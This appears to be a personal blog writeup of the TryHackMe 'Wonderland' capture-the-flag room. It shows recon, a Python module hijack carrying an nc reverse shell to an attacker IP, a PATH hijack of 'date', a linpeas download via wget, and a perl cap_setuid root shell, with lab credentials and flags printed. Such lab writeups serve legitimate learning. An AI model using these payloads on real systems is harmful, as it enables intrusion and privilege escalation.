~/ Home Projects Tools Link
Writeups
hackthebox/
  • 2million
  • Facts
  • Checkpoint
  • Enigma
  • Nimbus
  • Reactor
    • tryhackme/
  • Wonderland
  • Highschool
  • Ignite
  • JokerCTF
  • Lazy Admin
  • Lightroom
  • Lookup
  • Love Connect
  • Love note
  • Pyrat
  • Startup
  • Tryheartme
  • Valenfind
  • Valley
  • When hearts collide

    • Writeups

    THM Wonderland

    Recon:

    We first get all our exposed ports from Nmap, to see what we can work with. After that, we want to see what is the structure of the website, we’ll use FFUF to enumerate addresses we can work with.

    nmap -sV -sC -v 10.65.182.177

    PORT STATE SERVICE VERSION

    22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

    ssh-hostkey:
      2048 8e:ee:fb:96:ce:ad:70:dd:05:a9:3b:0d:b0:71:b8:63 (RSA)
      256 7a:92:79:44:16:4f:20:43:50:a9:a8:47:e2:c2:be:84 (ECDSA)

    |_ 256 00:0b:80:44:e6:3d:4b:69:47:92:2c:55:14:7e:2a:c9 (ED25519)
    80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
    | http-methods:
    |_ Supported Methods: GET HEAD POST OPTIONS
    |_http-title: Follow the white rabbit.
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    #

    First we ffuf and we get some individual letter out: /r

    So we want to do a recursive search for sure but, why not test /r/a/b/b/i/t/ first: We’re chasing the white rabbit no?

    ffuf -w /usr/share/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-small.txt:FUZZ -u http://10.65.182.177/FUZZ -recursion -recursion-depth 3

    /r/a/b/b/i/t seems to be the way forward; We get the image file at this address. Its also stored in /img/

    Exploration:

    Theres 2 version of alice_door.jpg & alice_door.png: Thats sus.

    binwalk alice_door.jpg binwalk alice_door.png

    We get some weird output here

    We clear out some of the noise with awk

    strings alice_door.png > alicestrings.txt cat alicestrings.txt | awk ‘length($0) >= 10’ #### Output:

    
Adobe Photoshop CS3 Macintosh
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<key>com.apple.print.PageFormat.PMHorizontalRes</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PageFormat.PMHorizontalRes</key>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PageFormat.PMOrientation</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PageFormat.PMOrientation</key>
<integer>1</integer>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PageFormat.PMScaling</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PageFormat.PMScaling</key>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PageFormat.PMVerticalRes</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PageFormat.PMVerticalRes</key>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PageFormat.PMVerticalScaling</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PageFormat.PMVerticalScaling</key>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.subTicket.paper_info_ticket</key>
<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PageFormat.PMAdjustedPageRect</key>
<real>0.0</real>
<real>0.0</real>
<real>734</real>
<real>576</real>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PageFormat.PMAdjustedPaperRect</key>
<real>-18</real>
<real>-18</real>
<real>774</real>
<real>594</real>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PaperInfo.PMPaperName</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.print.pm.PostScript</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PaperInfo.PMPaperName</key>
<string>na-letter</string>
<key>com.apple.print.ticket.client</key>
<string>com.apple.print.pm.PostScript</string>
<key>com.apple.print.ticket.modDate</key>
<date>2003-07-01T17:49:36Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>1</integer>
<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.print.pm.PostScript</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PaperInfo.PMUnadjustedPageRect</key>
<real>0.0</real>
<real>0.0</real>
<real>734</real>
<real>576</real>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>#Theres
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.print.pm.PostScript</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PaperInfo.PMUnadjustedPaperRect</key>
<real>-18</real>
<real>-18</real>
<real>774</real>
<real>594</real>
<key>com.apple.print.ticket.client</key>
<string>com.apple.printingmanager</string>
<key>com.apple.print.ticket.modDate</key>
<date>2008-01-20T06:48:16Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>0</integer>
<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
<key>com.apple.print.ticket.creator</key>
<string>com.apple.print.pm.PostScript</string>
<key>com.apple.print.ticket.itemArray</key>
<key>com.apple.print.PaperInfo.ppd.PMPaperName</key>
<string>US Letter</string>
<key>com.apple.print.ticket.client</key>
<string>com.apple.print.pm.PostScript</string>
<key>com.apple.print.ticket.modDate</key>
<date>2003-07-01T17:49:36Z</date>
<key>com.apple.print.ticket.stateFlag</key>
<integer>1</integer>
<key>com.apple.print.ticket.APIVersion</key>
<string>00.20</string>
<key>com.apple.print.ticket.privateLock</key>
<key>com.apple.print.ticket.type</key>
<string>com.apple.print.PaperInfoTicket</string>
<key>com.apple.print.ticket.APIVersion</key>
<string>00.20</string>
<key>com.apple.print.ticket.privateLock</key>
<key>com.apple.print.ticket.type</key>
<string>com.apple.print.PageFormatTicket</string>
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.1-c036 46.276720, Mon Feb 19 2007 22:13:43        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xap="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xapMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:exif="http://ns.adobe.com/exif/1.0/" xap:CreateDate="2008-01-20T01:47:53-05:00" xap:ModifyDate="2008-01-20T01:49:10-05:00" xap:MetadataDate="2008-01-20T01:49:10-05:00" xap:CreatorTool="Adobe Photoshop CS3 Macintosh" dc:format="image/jpeg" photoshop:ColorMode="3" photoshop:History="" xapMM:InstanceID="uuid:436B87178CC8DC11A35E97C268772518" tiff:Orientation="1" tiff:XResolution="6000000/10000" tiff:YResolution="6000000/10000" tiff:ResolutionUnit="2" tiff:NativeDigest="256,257,258,259,262,274,277,284,530,531,282,283,296,301,318,319,529,532,306,270,271,272,305,315,33432;75A2F56A7448AE47A140395308BA4302" exif:PixelXDimension="1962" exif:PixelYDimension="1942" exif:ColorSpace="-1" exif:NativeDigest="36864,40960,40961,37121,37122,40962,40963,37510,40964,36867,36868,33434,33437,34850,34852,34855,34856,37377,37378,37379,37380,37381,37382,37383,37384,37385,37386,37396,41483,41484,41486,41487,41488,41492,41493,41495,41728,41729,41730,41985,41986,41987,41988,41989,41990,41991,41992,41993,41994,41995,41996,42016,0,2,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,20,22,23,24,25,26,27,28,30;F935E95111D183A11C57986417486320"/> </rdf:RDF> </x:xmpmeta>

    Exploitation/Escalation:

    Turns out we didn’t need to inspect the image file, the imbedded XML wasn’t part of the steps needed to solve this machine. After a second look theres some credentials on the /ra/b/b/i/t page

    USER:PASSWORD
    alice:HowDothTheLittleCrocodileImproveHisShiningTail

    SSH in with the credentials and sudo -l

    Matching Defaults entries for alice on wonderland: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

    User alice may run the following commands on wonderland: (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

    walrus_and_the_carpenter.py is a little script that does:

    import random
poem = """The sun was shining on the sea,
Shining with all his might:
He did his very best to make
The billows smooth and bright —
And this was odd, because it was
The middle of the night.

The moon was shining sulkily,
Because she thought the sun
Had got no business to be there
After the day was done —
"It’s very rude of him," she said,
"To come and spoil the fun!"

The sea was wet as wet could be,
The sands were dry as dry.
You could not see a cloud, because
No cloud was in the sky:
No birds were flying over head —
There were no birds to fly.

The Walrus and the Carpenter
Were walking close at hand;
They wept like anything to see
Such quantities of sand:
"If this were only cleared away,"
They said, "it would be grand!"

"If seven maids with seven mops
Swept it for half a year,
Do you suppose," the Walrus said,
"That they could get it clear?"
"I doubt it," said the Carpenter,
And shed a bitter tear.

"O Oysters, come and walk with us!"
The Walrus did beseech.
"A pleasant walk, a pleasant talk,
Along the briny beach:
We cannot do with more than four,
To give a hand to each."

The eldest Oyster looked at him.
But never a word he said:
The eldest Oyster winked his eye,
And shook his heavy head —
Meaning to say he did not choose
To leave the oyster-bed.

But four young oysters hurried up,
All eager for the treat:
Their coats were brushed, their faces washed,
Their shoes were clean and neat —
And this was odd, because, you know,
They hadn’t any feet.

Four other Oysters followed them,
And yet another four;
And thick and fast they came at last,
And more, and more, and more —
All hopping through the frothy waves,
And scrambling to the shore.

The Walrus and the Carpenter
Walked on a mile or so,
And then they rested on a rock
Conveniently low:
And all the little Oysters stood
And waited in a row.

"The time has come," the Walrus said,
"To talk of many things:
Of shoes — and ships — and sealing-wax —
Of cabbages — and kings —
And why the sea is boiling hot —
And whether pigs have wings."

"But wait a bit," the Oysters cried,
"Before we have our chat;
For some of us are out of breath,
And all of us are fat!"
"No hurry!" said the Carpenter.
They thanked him much for that.

"A loaf of bread," the Walrus said,
"Is what we chiefly need:
Pepper and vinegar besides
Are very good indeed —
Now if you’re ready Oysters dear,
We can begin to feed."

"But not on us!" the Oysters cried,
Turning a little blue,
"After such kindness, that would be
A dismal thing to do!"
"The night is fine," the Walrus said
"Do you admire the view?

"It was so kind of you to come!
And you are very nice!"
The Carpenter said nothing but
"Cut us another slice:
I wish you were not quite so deaf —
I’ve had to ask you twice!"

"It seems a shame," the Walrus said,
"To play them such a trick,
After we’ve brought them out so far,
And made them trot so quick!"
The Carpenter said nothing but
"The butter’s spread too thick!"

"I weep for you," the Walrus said.
"I deeply sympathize."
With sobs and tears he sorted out
Those of the largest size.
Holding his pocket handkerchief
Before his streaming eyes.

"O Oysters," said the Carpenter.
"You’ve had a pleasant run!
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They’d eaten every one."""

for i in range(10):
line = random.choice(poem.split("\n"))
print("The line was:\t", line)

    What is this script for?

    This python script import random, which is a module that enables lets us get a random number. We use that number to define our line choice and we split the choice and return the line. However, when we call to random we first check our local directory to see if the random module exists and THEN we search the built-in modules.
    What this means for us is that we can insert our own crafted random module in our directory and it will be used instead of our built-in random module.

    First, i tried changing the walrus_and_the_carpenter.py. No good, we lack permissions for this.

    The poem file can’t be changed but the first line imports random so lets create our own random python module containing a Reverse shell.

    
import os
def choice(a):
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.189.141 6969>/tmp/f")

    MAKE SURE TO NAME THE FILE RANDOM (That’s the whole point of this malicious module; no typos)

    nano random.py

    Next we launch the file, it gives us a non privilege shell but we can run it as rabbit with:

    sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py

    We catch it with our revshell and make the shell interactive with

    python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

    Privilege escalation: The revengeance

    We are now rabbit@wonderland

    We now have a new user with new permissions to explore, before looking through the system, we check our /home folder. In our /home/rabbit/ folder we see a ELF file named teaParty.

    We cat the teaParty elf file and we see an interesting line

    /bin/echo -n ‘Probably by’ && date –date=‘next hour’ -R

    We are calling to a “date”, lets make one similarly to our previous module inclusion

    We need very little in there just

    #!/bin/bash
/bin/bash

    So we run teaParty with elevated privilege and when date is called we run /bin/bash

    It didn’t work at first as i needed to change the reference address of our PATH > exportPATH = /home/rabbit:PATH

    Now we’re going to look for date in /home/rabbit/ first

    Run teaParty and bam we are now hatter@wonderland

    Privilege escalation: The REEEEvengeance

    We are hatter@wonderland

    hatter /home directory has a password.txt file

    Password: WhyIsARavenLikeAWritingDesk?

    Since our root.txt is in our user directory i tried to find the user.txt in the root directory

    thm{“Curiouser and curiouser!”}

    Lets close our rabbithole of shells and get onto ssh

    ssh hatter@10.65.182.177
    Password: WhyIsARavenLikeAWritingDesk?

    We can’t sudo -l again, so lets get linpeas on there while looking around for a vulnerability

    On our attacker machine in our folder containing linpeas:

    python3 -m http.server 8000

    On hatter:

    wget 192.168.189.141:8000/linpeas.sh

    chmod +x ./linpeas.sh

    ./linpeas.sh

    Found something interesting with linpeas; perl UIDs

    Files with capabilities (limited to 50):
    /usr/bin/perl5.26.1 = cap_setuid+ep
    /usr/bin/mtr-packet = cap_net_raw+ep
    /usr/bin/perl = cap_setuid+ep

    Found a few shells on GTFObins

    This one worked:

    perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”’

    The system is now fully compromised now we move to /root

    root flag

    thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}

    Notes:

    As we’ve seen previously the perl has a cap_setuid+ep attached to it.

    Breaking it down:

    cap_setuid lets us define the capabilities of a program to a user ID (UID) in this case the user is root.

    +ep is for how child process are treated, we want all our commands to run with our root UID so we enforce the child process to inherit our UID, here.

    e is for force the use of the parents UID & p makes it so that every child process inherits the UID. TLDR; The environment is set so that we do not need to enter sudo for every child processes launch.

    Tools: